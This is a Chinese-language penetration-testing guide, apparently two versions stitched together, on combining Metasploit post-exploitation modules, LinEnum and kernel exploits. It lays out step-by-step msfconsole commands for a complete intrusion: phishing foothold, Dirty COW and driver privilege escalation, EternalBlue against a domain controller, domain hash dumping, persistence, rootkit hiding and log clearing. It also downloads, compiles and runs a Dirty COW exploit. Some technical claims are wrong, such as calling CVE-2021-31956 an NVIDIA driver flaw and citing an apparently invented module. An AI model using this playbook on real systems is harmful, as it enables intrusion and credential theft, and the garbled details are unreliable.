目录
🛠️ 1. 内核安全如何助力渗透测试与黑客行业
1.1 内核安全的战略价值
1.2 结合 Metasploit 与 LinEnum 的作用
🔍 2. Metasploit 信息收集模块及其在内核安全中的应用
2.1 Windows 信息收集模块
2.2 Linux 信息收集模块
2.3 使用步骤
Windows 模块使用步骤
Linux 模块使用步骤
⚙️ 3. 实际案例:信息收集与内核提权
3.1 Windows 案例:枚举应用程序与内核漏洞提权
3.2 Linux 案例:枚举网络信息与 Dirty COW 提权
📊 4. Metasploit 信息收集模块能收集的信息类型
🌐 5. 使用 Metasploit 信息收集模块的场景
🧠 6. 高级渗透内网工程师的思路
🛡️ 7. 全面逻辑步骤与内网渗透案例
7.1 案例背景
7.2 逻辑步骤与技术细节
7.3 结果
📜 8. LinEnum 脚本详解
8.1 LinEnum 简介
8.2 使用方式
8.3 收集的信息类型
8.4 实际案例
🌟 9. 内核安全与 Metasploit/LinEnum 的协同优势
9.1 内核安全的核心作用
9.2 Metasploit 与 LinEnum 的辅助作用
📚 10. 学习建议与资源
10.1 学习路径
内网渗透测试与内核安全技术指南
🛠️ 1. 内核安全在渗透测试中的战略价值
1.1 提升漏洞利用精度
1.2 绕过防御机制
1.3 持久化与隐藏
🔍 2. Metasploit 信息收集模块
2.1 Windows 模块
2.2 Linux 模块
⚙️ 3. 实际案例:信息收集与提权
3.1 Windows 提权
3.2 Linux 提权
📊 4. 收集的信息类型
🌐 5. 使用场景
🧠 6. 高级渗透工程师思路
🛡️ 7. 内网渗透案例
7.1 步骤
7.2 结果
📜 8. LinEnum 脚本详解
🛠️ 1. 内核安全如何助力渗透测试与黑客行业
1.1 内核安全的战略价值
内核安全知识赋予渗透测试人员深入系统底层的能力,从用户态(Ring 3)突破到内核态(Ring 0),实现最高权限控制。结合 Metasploit 的后渗透模块(如 enum_applications
、enum_network
)和 LinEnum 脚本,内核安全知识可以:
-
提升漏洞利用精度:通过理解内核数据结构(如
EPROCESS
、Token
)和内存布局,开发针对性的提权 Exploit。 -
绕过防御机制:掌握 KASLR、SMEP、SMAP 等防御技术,设计绕过方案。
-
增强持久化与隐蔽性:利用内核级技术(如 Rootkit、DKOM)实现持久化后门,躲避 EDR 和 AV 检测。
1.2 结合 Metasploit 与 LinEnum 的作用
-
Metasploit 后渗透模块:提供自动化信息收集,快速获取系统配置、用户凭证、网络信息等,为内核级攻击提供情报支持。
-
LinEnum 脚本:在 Linux 环境中枚举系统配置(如 SUID 文件、cron 任务),发现潜在的内核提权路径。
-
内核安全知识:结合内核函数(如
PsCreateSystemThread
)和漏洞(如 UAF),实现从信息收集到提权的完整攻击链。
🔍 2. Metasploit 信息收集模块及其在内核安全中的应用
2.1 Windows 信息收集模块
以下是常用的 Windows 后渗透模块,位于 post/windows/gather/
和 post/windows/gather/forensics/
目录下,结合内核安全的技术细节:
模块名称 | 功能描述 | 内核安全相关性 |
| 枚举目标系统安装的应用程序及其版本(如 7-Zip、Docker Desktop)。 | 识别潜在的内核驱动漏洞(如第三方驱动的 IOCTL 漏洞)或易受攻击的软件版本。 |
| 枚举系统已安装的补丁(如 KB2871997)。 | 检测缺失的内核补丁(如 MS17-010),为内核漏洞利用(如 EternalBlue)提供依据。 |
| 提取 Chrome 浏览器的凭证、历史记录、书签等。 | 可结合内核级内存操作(如 |
| 枚举系统用户账户和权限。 | 定位高权限用户(如 Administrator),为后续内核提权(如修改 Token)做准备。 |
| 收集系统凭证(如 SAM 文件、LSASS 内存中的密码哈希)。 | 可通过内核函数(如 |
技术细节:
-
内核角度:
enum_applications
可能发现第三方驱动(如 NVIDIA 驱动),这些驱动常包含未签名的 IOCTL 接口,易被攻击者利用(如 CVE-2021-31956)。 -
提权路径:通过
enum_patches
识别缺失的内核补丁,结合内核漏洞(如 CVE-2020-0796 SMBGhost)实现提权。
2.2 Linux 信息收集模块
以下是常用的 Linux 后渗透模块,位于 post/linux/gather/
目录下:
模块名称 | 功能描述 | 内核安全相关性 |
| 收集常见应用配置(如 Apache、MySQL、Samba)。 | 识别配置错误(如 MySQL 运行在 root 权限下),为内核提权(如 UAF 漏洞)提供线索。 |
| 收集网络信息(路由表、防火墙规则、DNS 配置、SSH 配置等)。 | 发现网络服务(如 SSH)运行的内核模块,结合内核漏洞(如 CVE-2016-5195 Dirty COW)。 |
| 枚举系统信息(安装包、服务、用户列表、cron 任务等)。 | 定位 SUID 文件或 cron 任务,结合内核漏洞(如 CVE-2017-1000112)实现提权。 |
| 检查系统防护机制(如 SELinux、SMEP、SMAP、grsecurity)。 | 评估内核防护强度,设计绕过 KASLR 或 SMEP 的 Exploit(如 ROP 链)。 |
| 收集用户 | 可结合内核内存操作(如 |
技术细节:
-
内核角度:
enum_protections
识别是否启用 SMEP/SMAP,攻击者可通过内核漏洞(如 CVE-2019-2215)绕过这些保护。 -
提权路径:
enum_system
发现 SUID 文件或 cron 任务,结合内核漏洞(如 Dirty COW)修改文件权限实现提权。
2.3 使用步骤
Windows 模块使用步骤
-
启动 Metasploit:
msfconsole
-
选择模块:
use post/windows/gather/enum_applications
-
查看会话:
sessions -l
输出示例:
Id Name Type Information -- ---- ---- ----------- 1 meterpreter x64/windows DESKTOP-N3MAG5R\basic_user
-
设置会话:
set SESSION 1
-
运行模块:
run
输出示例:
[*] Enumerating applications installed on DESKTOP-N3MAG5R Installed Applications ====================== Name Version ---- ------- 7-Zip 21.07 (x64) Docker Desktop 2.2.0.4
-
查看收集的数据:
loot
输出示例:
Loot ==== host lpath type ---- ----- ---- 192.168.123.151 /Users/user/.msf4/loot/.../apps.txt applications
Linux 模块使用步骤
-
启动 Metasploit:
msfconsole
-
选择模块:
use post/linux/gather/enum_network
-
查看选项:
show options
输出示例:
Module options (post/linux/gather/enum_network): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on
-
设置会话:
set SESSION 2
-
运行模块:
run
输出示例:
[*] Gathering network information... [+] IPTables rules: /etc/iptables/rules.v4 [+] Interfaces: eth0 (192.168.1.100) [+] SSH config: /etc/ssh/sshd_config
-
查看收集的数据:
loot
技术细节:
-
内核安全角度:模块运行时可能调用内核函数(如
IoCreateDevice
)与驱动交互,攻击者可利用驱动漏洞(如 IOCTL 处理不当)提权。 -
注意事项:确保目标系统已成功渗透并获得 Meterpreter 会话,否则模块无法运行。
⚙️ 3. 实际案例:信息收集与内核提权
3.1 Windows 案例:枚举应用程序与内核漏洞提权
场景:渗透测试人员通过钓鱼邮件获得 Windows 10 工作站(IP: 192.168.1.100)的 Meterpreter 会话,目标是提权到 SYSTEM。
-
枚举应用程序:
use post/windows/gather/enum_applications set SESSION 1 run
输出示例:
Installed Applications ====================== Name Version ---- ------- NVIDIA Driver 456.71
发现:NVIDIA 驱动版本存在已知漏洞(如 CVE-2021-31956,IOCTL 漏洞)。
-
利用内核漏洞提权:
-
使用公开的 Exploit(如 Exploit-DB 的 PoC):
use exploit/windows/local/cve_2021_31956_nvidia set SESSION 1 run
-
内核技术细节:该漏洞利用 NVIDIA 驱动的 IOCTL 处理不当,通过
MmMapIoSpace
映射内核内存,修改EPROCESS.Token
实现提权。
-
-
结果:获得 SYSTEM 权限,输出:
[*] Privilege escalation successful meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
3.2 Linux 案例:枚举网络信息与 Dirty COW 提权
场景:渗透测试人员通过 SSH 弱密码(root:toor
)获得 Linux 服务器(IP: 192.168.1.200)的 Meterpreter 会话,目标是提权到 root。
-
枚举网络信息:
use post/linux/gather/enum_network set SESSION 2 run
输出示例:
[+] Interfaces: eth0 (192.168.1.200) [+] SSH config: /etc/ssh/sshd_config
发现:服务器运行 Ubuntu 16.04,易受 Dirty COW 漏洞(CVE-2016-5195)影响。
-
利用内核漏洞提权:
-
使用 Metasploit 模块:
use exploit/linux/local/dirtycow set SESSION 2 run
-
内核技术细节:Dirty COW 利用内核的写时复制(COW)机制,通过修改
/etc/passwd
的只读映射,添加 root 用户。
-
-
结果:获得 root 权限,输出:
[*] Privilege escalation successful meterpreter > getuid Server username: root
技术细节:
-
Windows 案例:利用内核函数(如
ObReferenceObjectByHandle
)操作句柄表,结合 IOCTL 漏洞修改权限。 -
Linux 案例:利用内核内存管理漏洞(如 COW 机制),结合
enum_network
发现的配置信息,优化攻击路径。
📊 4. Metasploit 信息收集模块能收集的信息类型
以下是 Windows 和 Linux 后渗透模块能收集的全面信息类型,结合内核安全角度:
信息类型 | Windows 模块示例 | Linux 模块示例 | 内核安全相关性 |
应用程序信息 |
|
| 识别易受攻击的内核驱动或服务(如旧版驱动的 IOCTL 漏洞)。 |
系统补丁 |
|
| 检测缺失的内核补丁或防护(如 KASLR、SMEP),为漏洞利用提供依据。 |
用户凭证 |
|
| 可通过内核内存操作(如 |
网络配置 |
|
| 发现网络服务(如 SMB、SSH)运行的内核模块,结合漏洞(如 EternalBlue)提权。 |
系统配置 |
|
| 识别配置错误(如 root 权限服务),为内核提权(如 UAF 漏洞)提供线索。 |
用户权限 |
|
| 定位高权限用户或 SUID 文件,结合内核漏洞(如 Dirty COW)提权。 |
服务与进程 |
|
| 发现运行在内核态的服务(如 SSH 内核模块),为 Hook 或漏洞利用提供目标。 |
技术细节:
-
内核角度:信息收集模块可能触发内核函数(如
PsLookupProcessByProcessId
)枚举进程,攻击者可利用内核漏洞(如 UAF)篡改进程结构。 -
提权路径:收集的信息(如 SUID 文件、缺失补丁)为内核漏洞利用(如 CVE-2017-1000112)提供精准目标。
🌐 5. 使用 Metasploit 信息收集模块的场景
以下是结合内核安全知识的典型使用场景:
-
漏洞评估:
-
使用
enum_patches
(Windows)或enum_protections
(Linux)识别缺失的内核补丁或防护机制,为后续漏洞利用(如 EternalBlue、Dirty COW)提供依据。 -
内核角度:分析补丁状态,结合 KASLR 绕过技术(如泄漏内核基址)开发 Exploit。
-
-
提权攻击:
-
通过
enum_applications
(Windows)或enum_system
(Linux)发现易受攻击的驱动或 SUID 文件,结合内核漏洞(如 IOCTL 或 COW 漏洞)提权。 -
内核角度:利用内核函数(如
MmAllocateContiguousMemory
)分配内存,构造提权 Payload。
-
-
内网横向移动:
-
使用
enum_network
收集路由表、DNS 配置,结合内核级网络 Hook(如KeSetInterruptHandler
)拦截流量,实现 pivoting。 -
案例:利用
enum_shares
发现 SMB 共享,结合 EternalBlue 漏洞(CVE-2017-0144)攻击内网其他主机。
-
-
凭证窃取:
-
使用
enum_chrome
(Windows)或ecryptfs_creds
(Linux)收集凭证,结合内核内存操作(如MmMapIoSpace
)直接读取敏感数据。 -
内核角度:通过内核漏洞(如 CVE-2020-0796)访问 LSASS 内存,提取域凭证。
-
-
持久化与隐藏:
-
使用
enum_system
(Linux)发现 cron 任务,结合内核级 Rootkit(如 DKOM)实现持久化。 -
内核角度:通过 SSDT Hook 修改系统调用,隐藏恶意进程或文件。
-
🧠 6. 高级渗透内网工程师的思路
高级内网渗透工程师将内核安全知识与 Metasploit 模块、LinEnum 脚本结合,形成系统化的攻击思路:
-
信息收集为基石:
-
Metasploit:使用
enum_applications
、enum_network
等模块快速收集系统和网络信息,定位潜在的内核漏洞目标(如旧版驱动、SUID 文件)。 -
LinEnum:枚举 Linux 系统配置,重点关注内核版本、SUID 文件、cron 任务,为内核提权提供线索。
-
内核角度:分析 PE 结构(如驱动的导出表)或内存布局(如内核池分配),定位漏洞点。
-
-
漏洞利用与提权:
-
结合收集的信息,优先选择内核漏洞(如 IOCTL、UAF、Dirty COW)实现提权。
-
内核技术:利用
MmMapIoSpace
映射内核内存,或通过 ROP 链绕过 SMEP/SMAP。
-
-
横向移动与 pivoting:
-
使用
enum_network
收集内网信息,结合内核级网络 Hook 或 EternalBlue 漏洞攻击其他主机。 -
内核角度:通过中断机制(如
KeSetInterruptHandler
)拦截网络流量,实现隐蔽的 pivoting。
-
-
持久化与隐藏:
-
利用内核级 Rootkit(如 DKOM、SSDT Hook)隐藏进程或文件,绕过 EDR 检测。
-
Metasploit:使用
post/windows/manage/persistence
或post/linux/manage/sshkey_persistence
实现持久化。
-
-
清理痕迹:
-
使用 Metasploit 的清理模块(如
clearev
)删除事件日志,结合内核级操作(如修改日志文件)确保隐蔽性。
-
技术细节:
-
内核安全核心:理解 Ring 0/3 权限模型,熟练操作内核数据结构(如
EPROCESS
、KTHREAD
),结合 Metasploit 模块自动化攻击流程。 -
高级技巧:通过逆向分析(IDA Pro、Ghidra)定位内核函数入口,开发自定义 Exploit 绕过 PatchGuard 或 SELinux。
🛡️ 7. 全面逻辑步骤与内网渗透案例
7.1 案例背景
通过钓鱼邮件控制了一台 Windows 工作站(IP: 192.168.1.100),目标是渗透内网并控制域控制器(IP: 192.168.1.10)。
7.2 逻辑步骤与技术细节
-
初始立足点与信息收集:
-
Metasploit 模块:
use post/windows/gather/enum_applications set SESSION 1 run
发现:工作站安装了旧版 NVIDIA 驱动(CVE-2021-31956 漏洞)。
-
LinEnum(若目标为 Linux):
scp LinEnum.sh user@192.168.1.100:/tmp/ ssh user@192.168.1.100 chmod +x /tmp/LinEnum.sh ./LinEnum.sh
发现:Linux 系统运行 Ubuntu 16.04,存在 Dirty COW 漏洞。
-
内核角度:分析 PE 结构,定位驱动的 IOCTL 接口,或检查内核版本(
uname -r
)确认漏洞。
-
-
提权到 SYSTEM/root:
-
Windows:
use exploit/windows/local/cve_2021_31956_nvidia set SESSION 1 run
技术细节:利用 IOCTL 漏洞,通过
MmMapIoSpace
修改EPROCESS.Token
,提升到 SYSTEM 权限。 -
Linux:
use exploit/linux/local/dirtycow set SESSION 2 run
技术细节:利用 COW 机制修改
/etc/passwd
,添加 root 用户。 -
结果:获得 SYSTEM/root 权限。
-
-
内网信息收集:
-
Metasploit:
use post/windows/gather/enum_shares set SESSION 1 run
发现:域控制器(192.168.1.10)存在 SMB 共享,运行 Windows Server 2016。
-
内核角度:使用
enum_patches
检查域控制器补丁状态,确认是否存在 EternalBlue 漏洞(CVE-2017-0144)。
-
-
横向移动:
-
Metasploit:
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.10 set LHOST 192.168.1.100 run
技术细节:EternalBlue 利用 SMB 协议漏洞,通过内核函数(如
IoCompleteRequest
)执行远程代码。 -
结果:获得域控制器 Meterpreter 会话。
-
-
凭证窃取:
-
Metasploit:
use post/windows/gather/credentials/domain_hashdump set SESSION 3 run
技术细节:通过内核级内存操作(如
MmMapIoSpace
)访问 LSASS 内存,提取域用户哈希。 -
结果:获取域管理员凭证。
-
-
持久化与清理:
-
Windows:
use post/windows/manage/persistence set SESSION 1 run
技术细节:通过内核级 Rootkit(如 DKOM)隐藏持久化进程。
-
Linux:
use post/linux/manage/sshkey_persistence set SESSION 2 run
技术细节:通过修改
/root/.ssh/authorized_keys
,结合内核 Hook 隐藏 SSH 密钥。 -
清理:
clearev
技术细节:通过内核函数(如
ObReferenceObjectByHandle
)修改事件日志,清除痕迹。
-
7.3 结果
-
成功控制域控制器(192.168.1.10)。
-
获取公司全部用户凭证(包括域管理员哈希)。
-
实现持久化后门,保持隐蔽性。
技术细节:
-
内核安全核心:利用内核漏洞(如 IOCTL、EternalBlue)实现提权和横向移动,结合 SSDT Hook 或 DKOM 隐藏攻击痕迹。
-
Metasploit 辅助:模块自动化收集信息,减少手动操作,提高效率。
-
LinEnum 补充:在 Linux 环境中快速发现提权路径。
📜 8. LinEnum 脚本详解
8.1 LinEnum 简介
LinEnum 是一个强大的 Linux 信息收集脚本,用于枚举系统配置、用户权限、cron 任务等,帮助渗透测试人员发现提权机会。它特别适合结合内核安全知识,定位内核漏洞或配置错误。
8.2 使用方式
-
下载脚本:
wget https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh
-
上传到目标系统:
scp LinEnum.sh user@192.168.1.200:/tmp/
-
执行脚本:
ssh user@192.168.1.200 cd /tmp chmod +x LinEnum.sh ./LinEnum.sh -t -r report
参数说明:
-
-t
:彻底扫描,收集所有信息。 -
-r report
:生成报告文件(如report-192.168.1.200.txt
)。
-
8.3 收集的信息类型
信息类型 | 描述 | 内核安全相关性 |
系统信息 | 内核版本(如 | 识别内核版本,匹配已知漏洞(如 Dirty COW、CVE-2017-1000112)。 |
用户与权限 | 当前用户、SUID/SGID 文件、sudo 配置 | 发现 SUID 文件或 sudo 权限,结合内核漏洞(如 UAF)提权。 |
服务与进程 | 运行的服务(如 SSH、Apache)、进程列表 | 定位运行在内核态的服务(如 SSH 内核模块),结合漏洞(如 CVE-2016-5195)攻击。 |
计划任务 | cron 任务、at 任务 | 发现可写的 cron 脚本,结合内核漏洞修改文件权限。 |
文件系统 | 可写目录、敏感文件(如 | 利用内核漏洞(如 Dirty COW)修改只读文件,实现提权。 |
网络配置 | 网络接口、路由表、开放端口 | 发现网络服务,结合内核级网络 Hook(如 |
安全机制 | SELinux、AppArmor、grsecurity 配置 | 评估防护强度,设计绕过方案(如 ROP 链绕过 SMEP)。 |
8.4 实际案例
场景:在 Linux 服务器(IP: 192.168.1.200)上运行 LinEnum,发现提权路径。
-
执行 LinEnum:
./LinEnum.sh -t
输出示例:
[+] Kernel information: Linux version 4.4.0-21-generic [+] SUID files: -rwsr-xr-x root root /usr/bin/passwd [+] Cron jobs: /etc/cron.daily/update.sh (writable)
-
发现与利用:
-
内核漏洞:内核版本 4.4.0-21 存在 Dirty COW 漏洞(CVE-2016-5195)。
-
SUID 文件:
/usr/bin/passwd
可结合 Dirty COW 修改权限。 -
cron 任务:可写脚本
/etc/cron.daily/update.sh
,可注入恶意代码。
-
-
提权:
-
使用 Dirty COW Exploit:
wget https://www.exploit-db.com/download/40839 gcc 40839.c -o dirtycow ./dirtycow
-
结果:获得 root 权限,输出:
whoami root
-
技术细节:
-
内核角度:LinEnum 发现的内核版本直接匹配漏洞数据库,结合内核内存管理漏洞(如 COW)实现提权。
-
Metasploit 补充:使用
post/linux/gather/enum_system
验证 LinEnum 的结果,自动化收集 SUID 文件和 cron 任务。
🌟 9. 内核安全与 Metasploit/LinEnum 的协同优势
9.1 内核安全的核心作用
-
漏洞利用:内核安全知识帮助开发针对性 Exploit(如 IOCTL、UAF、Dirty COW),结合 Metasploit 模块自动化攻击。
-
绕过防御:通过逆向分析(IDA Pro、Ghidra)绕过 KASLR、SMEP、PatchGuard 等机制。
-
持久化与隐藏:利用 DKOM、SSDT Hook 等内核技术,结合 Metasploit 的持久化模块(如
sshkey_persistence
)实现隐蔽后门。
9.2 Metasploit 与 LinEnum 的辅助作用
-
Metasploit:提供自动化信息收集和漏洞利用模块,减少手动操作,提高效率。
-
LinEnum:快速枚举 Linux 系统配置,补充 Metasploit 的不足,尤其在 SUID 文件和 cron 任务的发现上。
-
协同流程:
-
使用 Metasploit 模块(如
enum_network
)收集初始信息。 -
使用 LinEnum 深入枚举 Linux 系统配置。
-
结合内核安全知识,开发或利用现有 Exploit 实现提权。
-
📚 10. 学习建议与资源
10.1 学习路径
-
基础知识:
-
学习 C/C++、汇编(x86/x64),掌握 Windows/Linux 内核架构。
-
理解 Ring 0/3、PE 结构、中断机制、虚拟内存等技术栈。
-
-
工具与实践:
-
熟练使用 Metasploit(
post/*
模块)、WinDbg、IDA Pro、Ghidra。 -
搭建内核调试环境,复现公开漏洞(如 CVE-2021-31956、Dirty COW)。
-
-
CTF 与实战:
-
参与 HackTheBox、Pwnable 的内核提权挑战。
-
开发简单内核驱动,理解 IOCTL 和 IRP 的安全处理。
-
内网渗透测试与内核安全技术指南
🛠️ 1. 内核安全在渗透测试中的战略价值
内核安全知识赋予渗透测试人员从用户态(Ring 3)突破到内核态(Ring 0)的能力,结合 Metasploit 和 LinEnum,可实现高效的信息收集、提权和内网横向移动。
1.1 提升漏洞利用精度
-
技术细节:通过分析
EPROCESS
、Token
等内核数据结构,开发针对性 Exploit。 -
案例:利用 CVE-2021-31956(NVIDIA 驱动 IOCTL 漏洞),通过
MmMapIoSpace
修改权限。
1.2 绕过防御机制
-
技术细节:使用 ROP 链绕过 SMEP/SMAP,结合 KASLR 泄漏技术定位内核基址。
-
工具:IDA Pro、Ghidra 逆向分析内核模块。
1.3 持久化与隐藏
-
技术细节:通过 DKOM 修改
EPROCESS
链表,隐藏恶意进程。 -
Metasploit 模块:
post/windows/manage/persistence
、post/linux/manage/sshkey_persistence
。
🔍 2. Metasploit 信息收集模块
2.1 Windows 模块
-
post/windows/gather/enum_applications
:枚举应用程序,识别易受攻击的驱动。 -
post/windows/gather/enum_patches
:检查缺失补丁,定位内核漏洞。 -
使用示例:
use post/windows/gather/enum_applications set SESSION 1 run
2.2 Linux 模块
-
post/linux/gather/enum_network
:收集网络配置,定位内核模块。 -
post/linux/gather/enum_protections
:检查 SMEP/SMAP 等防护机制。 -
使用示例:
use post/linux/gather/enum_network set SESSION 2 run
⚙️ 3. 实际案例:信息收集与提权
3.1 Windows 提权
-
模块:
enum_applications
发现 NVIDIA 驱动漏洞(CVE-2021-31956)。 -
Exploit:
use exploit/windows/local/cve_2021_31956_nvidia set SESSION 1 run
3.2 Linux 提权
-
模块:
enum_system
发现 SUID 文件,结合 Dirty COW(CVE-2016-5195)。 -
Exploit:
use exploit/linux/local/dirtycow set SESSION 2 run
📊 4. 收集的信息类型
-
应用程序:驱动版本、软件漏洞。
-
补丁状态:缺失的 KB 补丁或内核防护。
-
凭证:浏览器凭证、加密文件。
-
网络配置:路由表、防火墙规则。
🌐 5. 使用场景
-
漏洞评估:识别内核漏洞(如 EternalBlue)。
-
提权攻击:利用 IOCTL 或 COW 漏洞。
-
内网移动:通过 SMB 或 SSH pivoting。
🧠 6. 高级渗透工程师思路
-
信息收集:Metasploit + LinEnum 自动化枚举。
-
提权:结合内核漏洞(如 UAF、IOCTL)。
-
横向移动:利用 EternalBlue 或 SSH 隧道。
-
持久化:内核级 Rootkit + Metasploit 持久化模块。
🛡️ 7. 内网渗透案例
7.1 步骤
-
信息收集:
enum_applications
、LinEnum.sh
。 -
提权:CVE-2021-31956(Windows)、Dirty COW(Linux)。
-
横向移动:
ms17_010_eternalblue
。 -
凭证窃取:
domain_hashdump
。
7.2 结果
-
控制域控制器,获取全部用户凭证。
-
实现持久化后门,清理痕迹。
📜 8. LinEnum 脚本详解
-
下载与执行:
wget https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh scp LinEnum.sh user@192.168.1.200:/tmp/ chmod +x LinEnum.sh ./LinEnum.sh -t -r report
-
输出:内核版本、SUID 文件、cron 任务。
-
提权案例:结合 Dirty COW 修改
/etc/passwd
。